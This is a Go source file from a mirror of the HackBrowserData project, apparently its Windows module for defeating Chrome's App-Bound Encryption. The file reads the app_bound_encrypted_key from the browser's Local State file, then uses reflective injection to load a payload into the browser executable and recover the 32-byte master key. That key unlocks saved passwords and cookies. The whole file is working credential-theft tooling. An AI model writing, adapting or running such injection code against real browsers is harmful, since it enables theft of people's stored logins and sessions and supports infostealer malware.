mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
99 lines
2.4 KiB
Go
99 lines
2.4 KiB
Go
//go:build windows
|
|
|
|
package keyretriever
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"errors"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
|
|
"github.com/tidwall/gjson"
|
|
|
|
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
|
|
"github.com/moond4rk/hackbrowserdata/log"
|
|
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
|
"github.com/moond4rk/hackbrowserdata/utils/winutil"
|
|
)
|
|
|
|
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
|
|
|
var appbPrefix = []byte{'A', 'P', 'P', 'B'}
|
|
|
|
var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
|
|
|
|
type ABERetriever struct{}
|
|
|
|
func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) {
|
|
// Non-ABE forks (Opera/Vivaldi/Yandex) supply no WindowsABEKey — treat as "not applicable".
|
|
// (Pre-v20 Chrome takes the errNoABEKey path below.)
|
|
browserKey := strings.TrimSpace(hints.WindowsABEKey)
|
|
if browserKey == "" {
|
|
return nil, nil
|
|
}
|
|
|
|
encKey, err := loadEncryptedKey(hints.LocalStatePath)
|
|
if errors.Is(err, errNoABEKey) {
|
|
return nil, nil
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
pl, err := payload.Get("amd64")
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: %w", err)
|
|
}
|
|
|
|
exePath, err := winutil.ExecutablePath(browserKey)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: %w", err)
|
|
}
|
|
|
|
env := map[string]string{
|
|
envEncKeyB64: base64.StdEncoding.EncodeToString(encKey),
|
|
}
|
|
|
|
inj := &injector.Reflective{}
|
|
key, err := inj.Inject(exePath, pl, env)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
|
}
|
|
if len(key) != 32 {
|
|
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
|
}
|
|
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
|
|
return key, nil
|
|
}
|
|
|
|
func loadEncryptedKey(localStatePath string) ([]byte, error) {
|
|
if localStatePath == "" {
|
|
return nil, errNoABEKey
|
|
}
|
|
data, err := os.ReadFile(localStatePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: read Local State: %w", err)
|
|
}
|
|
|
|
raw := gjson.GetBytes(data, "os_crypt.app_bound_encrypted_key")
|
|
if !raw.Exists() {
|
|
return nil, errNoABEKey
|
|
}
|
|
|
|
decoded, err := base64.StdEncoding.DecodeString(raw.String())
|
|
if err != nil {
|
|
return nil, fmt.Errorf("abe: base64 decode: %w", err)
|
|
}
|
|
if len(decoded) <= len(appbPrefix) {
|
|
return nil, fmt.Errorf("abe: encrypted key too short: %d bytes", len(decoded))
|
|
}
|
|
for i, b := range appbPrefix {
|
|
if decoded[i] != b {
|
|
return nil, fmt.Errorf("abe: unexpected prefix: got %q, want %q",
|
|
decoded[:len(appbPrefix)], appbPrefix)
|
|
}
|
|
}
|
|
return decoded[len(appbPrefix):], nil
|
|
}
|